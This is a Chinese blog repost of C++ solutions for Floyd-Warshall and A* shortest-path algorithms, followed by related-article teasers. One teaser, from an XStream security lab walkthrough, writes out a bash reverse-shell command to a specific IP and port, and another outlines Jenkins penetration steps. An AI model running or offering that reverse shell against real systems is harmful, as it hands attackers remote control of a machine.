文章目录

  • Floyd 算法精讲
  • A * 算法精讲 (A star算法)

Floyd 算法精讲

题目链接
文章讲解

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;int main() {int n, m;cin >> n >> m; // 输入图的节点数n和边数m// grid[i][j][k] 表示从节点i到节点j,在使用前k个节点作为中间节点的情况下的最短距离// 初始化为一个大值10005,表示初始状态下的路径都是不可达的vector<vector<vector<int>>> grid(n + 1, vector<vector<int>>(n + 1, vector<int>(n + 1, 10005)));// 读取所有边的信息,存储到 grid 数组中for (int i = 0; i < m; i++) {int x, y, z;cin >> x >> y >> z;  // 读取一条边,起点为x,终点为y,边的权重为zgrid[x][y][0] = z;    // 初始化权值,表示直接连接的路径grid[y][x][0] = z;    // 因为是无向图,双向存储}// Floyd-Warshall 算法的主循环,计算最短路径// k 表示考虑的中间节点,i 和 j 是起点和终点for (int k = 1; k <= n; k++) {  // 遍历每个可能的中间节点kfor (int i = 1; i <= n; i++) {  // 遍历起点ifor (int j = 1; j <= n; j++) {  // 遍历终点j// 递推公式:// 1. 从 i 到 j 的最短路径可以通过中间节点k更新// 2. 选择两种情况中的最小值://    - 经过节点k,min(grid[i][k][k-1] + grid[k][j][k-1])//    - 不经过节点k,保持原有的最短路径grid[i][j][k-1]grid[i][j][k] = min(grid[i][j][k - 1], grid[i][k][k - 1] + grid[k][j][k - 1]);}}}int z, start, end;cin >> z;  // 输入查询次数// 处理每一对查询的起点和终点while (z--) {cin >> start >> end;  // 输入查询的起点和终点// 判断最终的最短路径是否仍然是大值10005,表示不可达if (grid[start][end][n] == 10005) {cout << -1 << endl;  // 如果不可达,输出 -1} else {cout << grid[start][end][n] << endl;  // 输出从 start 到 end 的最短路径}}return 0;
}

A * 算法精讲 (A star算法)

题目链接
文章讲解

#include<iostream>
#include<queue>
#include<string.h>
using namespace std;int moves[1001][1001];  // 存储到达每个点的最短步数
int dir[8][2] = {-2,-1,-2,1,-1,2,1,2,2,1,2,-1,1,-2,-1,-2};  // 定义骑士的8个移动方向int b1, b2;  // 目标位置(终点)// F = G + H
// G = 从起点到该节点路径消耗
// H = 该节点到终点的预估消耗// Knight结构体,表示骑士的当前位置、路径消耗和估算消耗
struct Knight{int x, y;  // 当前坐标int g, h, f;  // g为从起点到当前节点的路径消耗,h为从当前节点到终点的估算消耗,f为总代价bool operator < (const Knight & k) const {  // 重载运算符,使得优先队列按 f 值从小到大排序return k.f < f;  // f值越小,优先级越高}
};priority_queue<Knight> que;  // 优先队列,用于A*算法选择下一个最优节点// 估算函数,计算从当前位置到终点的欧几里得距离(不用开根号提高效率)
int Heuristic(const Knight& k) { return (k.x - b1) * (k.x - b1) + (k.y - b2) * (k.y - b2); // 不开根号,加速计算
}// A*算法的主体部分
void astar(const Knight& k)
{Knight cur, next;  // 当前节点和下一个节点que.push(k);  // 将起点放入优先队列while(!que.empty())  // 当队列不为空时{cur = que.top();  // 取出队列中的最优节点(f最小的节点)que.pop();  // 弹出最优节点if(cur.x == b1 && cur.y == b2)  // 如果当前节点就是目标节点break;  // 找到目标,退出循环// 遍历骑士的8个方向for(int i = 0; i < 8; i++){next.x = cur.x + dir[i][0];  // 根据当前方向计算下一个位置的x坐标next.y = cur.y + dir[i][1];  // 根据当前方向计算下一个位置的y坐标// 判断下一个位置是否越界if(next.x < 1 || next.x > 1000 || next.y < 1 || next.y > 1000)continue;  // 如果越界,跳过// 如果当前点没有被访问过if(!moves[next.x][next.y]){moves[next.x][next.y] = moves[cur.x][cur.y] + 1;  // 记录到达next的步数// 开始计算f值(f = g + h)next.g = cur.g + 5;  // 设定每步的路径消耗为5(骑士每次都走“日”字形)next.h = Heuristic(next);  // 计算到目标的估算消耗next.f = next.g + next.h;  // 计算f值(总代价)que.push(next);  // 将新的节点加入优先队列}}}
}// 主函数
int main()
{int n, a1, a2;cin >> n;  // 输入测试用例数量while (n--) {  // 处理每个测试用例cin >> a1 >> a2 >> b1 >> b2;  // 输入起点和终点的坐标memset(moves, 0, sizeof(moves));  // 初始化moves数组,表示所有城市都没有被访问Knight start;  // 创建起点start.x = a1;  // 起点的x坐标start.y = a2;  // 起点的y坐标start.g = 0;  // 起点的g值为0,因为到自己不需要路径start.h = Heuristic(start);  // 计算起点到终点的估算消耗start.f = start.g + start.h;  // 计算起点的f值astar(start);  // 执行A*算法来找到最短路径while(!que.empty()) que.pop(); // 清空队列,以准备下一次的计算cout << moves[b1][b2] << endl;  // 输出从起点到终点的最短路径步数}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95224.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95224.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/95224.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【18】OpenCV C++实战篇——【项目实战】OpenCV C++ 精准定位“十字刻度尺”中心坐标,过滤图片中的干扰,精准获取十字交点坐标

文章目录1 问题及分析2 多尺度霍夫直线 与 渐进概率霍夫线段 细节对比2.1 多尺度霍夫直线 HoughLines2.2 渐进概率霍夫线段 HoughLinesP2.3 HoughLines 和 HoughLinesP 所求结果细节对比2.4 为什么 HoughLinesP 直线两端没有呈放射状态呢&#xff1f;直线总是平行吗&#xff1f…

云原生应用的DevOps2(Jenkins渗透场景)

结论 Jenkins历史漏洞 Jenkins未授权访问 登录后命令执行 Jenkins代码仓库信息 Jenkins服务器建立多台服务器信任连接 背景 目前我看到红队人员的现状,不管是什么系统就是拿Shell,拿权限,然后把这台机器当作跳板继续横向其它机器。而Jenkins在内网中是经常能够遇到的,…

Gradle 配置教程:与 Maven 对比详解(含完整迁移指南)

一、基础对比&#xff1a;Gradle vs Maven1.1 核心特性对比维度MavenGradle配置语言XML (冗长)Groovy/Kotlin DSL (简洁灵活)构建速度较慢(全量构建)快2-10倍(增量构建缓存)多模块管理<modules> <parent>settings.gradle project()依赖管理<dependencies>d…

pcl 按比例去除点云的噪点

之前halcon3d中是这么做的&#xff1b;1&#xff0c;先查找点云中每个点最近第15个最近点的距离2&#xff0c;将距离进行排序3&#xff0c;求排序后在距离数组70%位置的距离 d4&#xff0c;筛选点云中每个点半径为d&#xff0c;近邻点的数量大于14的点用pcl实现的代码如下&…

站在Vue的角度,对比鸿蒙开发中的递归渲染

第三类 引用数据的操作 引用数据类型 又叫复杂数类型&#xff0c; 典型的代表是对象和数组&#xff0c;而数组和对象往往又嵌套到到一起 普通数组和对象的使用 vue中使用for循环遍历 <template><div>我是关于页面<div v-for"item in arr">{{ i…

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "这里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "这里是0"Else MsgBox "这里是2" 弹窗“这里是2”End if 3. if -----elseif-------else-------end…

HCIP项目之OSPF综合实验

一、项目背景随着企业分支机构地理分散化&#xff0c;跨地域网络互联需求激增。MGRE&#xff08;多点 GRE&#xff09;技术因适应动态拓扑、降低链路成本&#xff0c;成为多分支互联的常用方案&#xff1b;OSPF 作为链路状态路由协议&#xff0c;适用于大型网络且支持可变长子网…

class and enmu class

传统枚举与作用域污染及enum class的详细介绍在编程中&#xff0c;枚举&#xff08;enum&#xff09;是一种常见的特性&#xff0c;用于定义一组命名的常量。传统枚举&#xff08;如C中的enum&#xff09;虽然简单易用&#xff0c;但容易导致作用域污染问题。而enum class&…

Numpy科学计算与数据分析:Numpy数组属性入门之形状、维度与大小

Numpy数组属性探索 学习目标 通过本课程的学习&#xff0c;学员将掌握Numpy数组的基本属性&#xff0c;如形状&#xff08;shape&#xff09;、维度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能够通过实际操作加深对这些属性的理解。 相…

IF 33.3+ 通过多区域单细胞测序解析肺腺癌的空间和细胞结构

通过多区域单细胞测序解析肺腺癌的空间和细胞结构摘要对于肺腺癌演进过程中单个细胞群的地理空间架构知之甚少。在此&#xff0c;我们对来自5例早期LUAD和14个来自肿瘤的具有明确空间邻近性的多区域正常肺组织的186&#xff0c;916个细胞进行了单细胞RNA测序。我们发现细胞谱系…

【Redis的安装与配置】

一&#xff1a;下载 Redis ✅ 百度网盘分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ✅ 从Github下载 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安装 Redis 1️⃣ 将下载的压缩包文件 解压到 某个文…

TDSQL GTS文件说明

基于时间点恢复&#xff1a;全备xlogGTS文件 在TDSQL的备份恢复体系中&#xff0c;GTS文件是全局时间戳&#xff08;Global Timestamp&#xff09;的存储载体&#xff0c;用于记录事务在分布式环境中的精确执行顺序和时间点 其核心作用体现在以下方面&#xff1a; 1‌。时间基准…

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析 全星研发项目管理APQP软件系统是专为汽车零部件行业打造的数字化研发管理平台&#xff0c;通过深度集成行业核心工具链&#xff0c;实现从产品设计到量产的全程可控。以下为该系统在汽车零部件行业的应用解析&#xf…

网络通信安全:HTTPS协议的密码学基石

引言&#xff1a;从HTTP到HTTPS的安全升级 在网络通信中&#xff0c;数据传输的安全性至关重要。早期的HTTP协议采用明文传输&#xff0c;存在三大安全隐患&#xff1a; 机密性问题&#xff1a;数据在传输过程中可能被窃听&#xff08;如公共Wi-Fi中的监听&#xff09;&#xf…

pip 和 conda,到底用哪个安装?

为什么 pip 有时装不下来而 --prefer-binary 可以&#xff1f;什么是源代码发行版&#xff1f;什么是轮子&#xff1f;conda 和 pip 有什么区别&#xff1f;优先用谁啊&#xff1f;两者适合的场景&#xff08;何时用哪个&#xff09;安装路径&#xff1a;pip / conda 分别装到哪…

bert学习

首先了解一下几种embedding。比如elmo就是一个embedding模型。one-hot编码只能实现one word one embedding&#xff0c;而我们的elmo能实现one token one embeddingElmo是基于双向LSTM&#xff0c;所以每个词其实会有正向和反向两个预测结果&#xff0c;那么我们用哪个呢&#…

Java安全-组件安全

一、Xstream启动环境并访问接下来我们构造反弹shell语句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;紧接着对其进行base64编码。接下来使用命令即可首先开启监听接下来执行命令接下来抓包对其进行payload构造即可紧接着回去查看回显发现成…

【10】微网优联——微网优联 嵌入式技术一面,校招,面试问答记录

微网优联——微网优联 嵌入式技术一面&#xff0c;校招&#xff0c;问答记录 1. 2 分钟简单自自我介绍2. 问一遍笔试题目3. IP地址在哪个层4.手动配置过IP地址吗?要配哪几个&#xff1f;5. ARP 是域名找IP地址还是IP地址找域名?6. Linux、计算机网络、操作系统掌握的怎么样&a…

C#使用EPPlus读写Excel

依赖EPPlus 获取依赖可以阅读:Nuget For Unity插件介绍_nugetforunity-CSDN博客 可以参阅该篇快速入门:在Unity中使用Epplus写Excel_unity epplus-CSDN博客 下面是我封装的几个方法: 要在合适的时机配置许可证,比如你的工具类的静态函数.建议使用版本7.7.1 #region Excel封装,…

高性能Web服务器

一、Web服务基础介绍 1.1、互联网发展历程 1993年3月2日&#xff0c;中国科学院高能物理研究所租用AT&T公司的国际卫星信道建立的接入美国SLAC国家实验室的64K专线正式开通&#xff0c;成为我国连入Internet的第一根专线。 1995年马云开始创业并推出了一个web网站中国黄…